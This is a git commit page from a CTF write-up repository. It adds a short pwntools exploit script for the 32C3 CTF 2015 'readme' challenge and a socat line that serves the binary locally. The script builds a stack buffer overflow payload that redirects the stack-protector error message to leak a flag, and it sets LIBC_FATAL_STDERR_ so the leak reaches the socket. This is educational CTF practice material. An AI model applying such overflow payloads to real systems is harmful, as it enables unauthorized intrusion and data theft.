mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2025-06-24 04:05:03 +07:00
finish 6.1.14
This commit is contained in:
13
src/writeup/6.1.14_pwn_32c3ctf2015_readme/exp.py
Normal file
13
src/writeup/6.1.14_pwn_32c3ctf2015_readme/exp.py
Normal file
@ -0,0 +1,13 @@
|
||||
from pwn import *
|
||||
|
||||
io = remote("127.0.0.1", 10001)
|
||||
#io = process('./readme.bin')
|
||||
#context.log_level = 'debug'
|
||||
|
||||
payload_1 = "A"*0x218 + p64(0x400d20) + p64(0) + p64(0x600d20)
|
||||
io.sendline(payload_1)
|
||||
|
||||
payload_2 = "LIBC_FATAL_STDERR_=1"
|
||||
io.sendline(payload_2)
|
||||
|
||||
print io.recvall()
|
1
src/writeup/6.1.14_pwn_32c3ctf2015_readme/run.sh
Normal file
1
src/writeup/6.1.14_pwn_32c3ctf2015_readme/run.sh
Normal file
@ -0,0 +1 @@
|
||||
socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr &
|
Reference in New Issue
Block a user